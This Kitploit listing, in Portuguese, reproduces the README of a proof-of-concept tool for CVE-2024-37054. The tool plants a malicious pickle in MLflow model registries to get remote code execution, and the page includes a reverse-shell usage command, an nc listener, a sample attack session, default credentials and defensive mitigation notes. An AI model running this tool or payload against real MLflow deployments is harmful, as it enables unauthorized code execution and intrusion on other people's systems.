Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-37054 — Proof-of-concept que envenena modelos registrados no MLflow através da API REST, incorporando um pickle malicioso para acionar RCE quando o modelo é carregado. | Kitploit
Ferramentas/GitHubGitHub/bardlaudian/cve-2024-37054
Ferramentas DefensivasAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado de MáquinaRed TeamingDesenvolvimento de PayloadsSegurança de IA
GitHubbardlaudian/cve-2024-37054

CVE-2024-37054

Proof-of-concept que envenena modelos registrados no MLflow através da API REST, incorporando um pickle malicioso para acionar RCE quando o modelo é carregado.

27há 25 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

mlflow-pickle-rce

Prova de conceito genérica para RCE por desserialização de pickle contra registros de modelos do MLflow (estilo CVE-2024-37054). Comunica-se apenas com a API REST do MLflow — sem suposições sobre qualquer aplicação cliente específica à sua frente.

⚠️ Apenas para testes de segurança autorizados. Execute isto somente contra sistemas que você possui ou está explicitamente autorizado a testar (ambientes de CTF/laboratório, engajamentos com escopo assinado, etc.). O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições.

Vulnerabilidade

O flavor pyfunc do MLflow carrega um modelo registrado fazendo unpickling de um artefato model.pkl sempre que mlflow.pyfunc.load_model() é chamado — seja isso acionado diretamente pela UI/API do MLflow, ou indiretamente por alguma aplicação cliente executando inferência contra um modelo registrado.

O módulo pickle do Python pode executar código arbitrário durante a desserialização através do método __reduce__ de um objeto. Se um atacante tiver acesso suficiente à API do MLflow para:

  1. criar uma execução (run) de experimento,
  2. enviar artefatos para essa execução, e
  3. registrar uma versão de modelo apontando para esses artefatos,

...ele pode contrabandear um pickle malicioso como model.pkl. Na próxima vez que qualquer coisa carregar essa versão do modelo, o código do atacante será executado no contexto do processo que faz o carregamento (o próprio servidor MLflow, ou uma aplicação cliente que incorpora o MLflow).

Esta é a mesma primitiva subjacente por trás de várias CVEs do MLflow, incluindo CVE-2023-6015, CVE-2023-6018 e CVE-2024-37054. É particularmente perigosa porque instâncias do MLflow são frequentemente implantadas com nenhuma autenticação, ou com credenciais padrão bem conhecidas (admin:password).

O que este script faz

Puramente orientado por API, na seguinte ordem:

  1. Verifica o acesso à API (autenticação básica HTTP).
  2. Cria um modelo registrado (ou reutiliza um ao qual você já tem acesso via --model-name).
  3. Cria uma execução sob um determinado experimento.
  4. Constrói e envia:
    • model.pkl — um pickle cujo __reduce__ chama os.system() para gerar um reverse shell.
    • MLmodel — o manifesto declarando um flavor python_function / sklearn respaldado por esse pickle.
  5. Registra uma nova versão de modelo apontando para esses artefatos.
  6. Opcionalmente, transiciona essa versão para um determinado estágio (padrão: Production), já que muitas aplicações cliente só carregam a versão de um modelo no estágio Production.

O que este script NÃO faz

Ele não descobre nem aciona o carregamento real do modelo — essa parte é diferente para cada implantação:

  • Às vezes a própria UI/API do MLflow carrega o modelo diretamente.
  • Às vezes uma aplicação cliente separada chama mlflow.pyfunc.load_model() por trás de algum endpoint (uma rota /predict, um job em lote agendado, etc).

Você precisa:

  • Obter o --model-name alvo por conta própria — da UI do MLflow, da API do MLflow (/api/2.0/mlflow/registered-models/search), ou do que uma aplicação cliente retornar quando ela registra um modelo em seu nome.
  • Acionar o carregamento por conta própria, da forma como o alvo o faz.

Requisitos

pip install requests --break-system-packages

Python 3.8+. Nenhuma outra dependência.

Uso

python3 mlflow_pickle_rce.py \
    --mlflow http://mlflow.target.tld \
    --model-name my-target-model \
    --lhost 10.10.14.1 --lport 4444

Inicie um listener antes ou depois de executar:

nc -lvnp 4444

Em seguida, acione o carregamento da forma como a aplicação alvo o faz (seu próprio endpoint de inferência, um job em lote, carregar o modelo manualmente pela UI do MLflow, etc).

Todas as opções

FlagPadrãoDescrição
--mlflow(obrigatório)URL base do MLflow
--model-namealeatórioNome do modelo registrado a envenenar; criado se não existir
--lhost(obrigatório)IP do seu listener
--lport4444Porta do seu listener
--usernameadminNome de usuário da autenticação básica do MLflow
--passwordpasswordSenha da autenticação básica do MLflow
--experiment-id0ID do experimento sob o qual criar a execução
--stageProductionEstágio para o qual promover a versão maliciosa, ou none para pular a transição

Sessão de exemplo

$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
    --model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200

[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
    (e.g. its /predict endpoint, or wait for a scheduled job that
     calls mlflow.pyfunc.load_model() on it).

Detecção e mitigação (notas defensivas)

  • Nunca exponha o servidor de tracking/modelos do MLflow sem autenticação, e nunca deixe credenciais padrão (admin:password) em vigor.
  • Restrinja quem pode registrar versões de modelo. Registrar uma versão de modelo é equivalente a execução arbitrária de código em qualquer coisa que posteriormente a carregue — trate essa permissão como você trataria acesso de implantação.
  • Não faça unpickle de artefatos não confiáveis. Quando possível, use flavors/formatos de serialização do MLflow que não dependam de pickle (por exemplo, ONNX, ou flavors com serialização mais segura), ou valide/coloque em sandbox o carregamento de modelos.
  • Monitore chamadas inesperadas a registered-models/create, model-versions/create e transition-stage nos logs de auditoria/acesso do MLflow, especialmente de contas que não deveriam estar publicando modelos em Production.
  • Segmente na rede o processo que carrega modelos (o servidor MLflow e/ou qualquer aplicação cliente que chame load_model()) para que uma primitiva de execução de código ali não tenha um caminho direto para sistemas internos sensíveis.

Referências

  • CVE-2024-37054 / CVE-2023-6015 / CVE-2023-6018 — problemas de desserialização de pickle do MLflow (pesquise no NVD/MITRE por avisos atuais e faixas de versões afetadas).
  • MLflow REST API docs

Licença

MIT — veja LICENSE.

Baixar ferramenta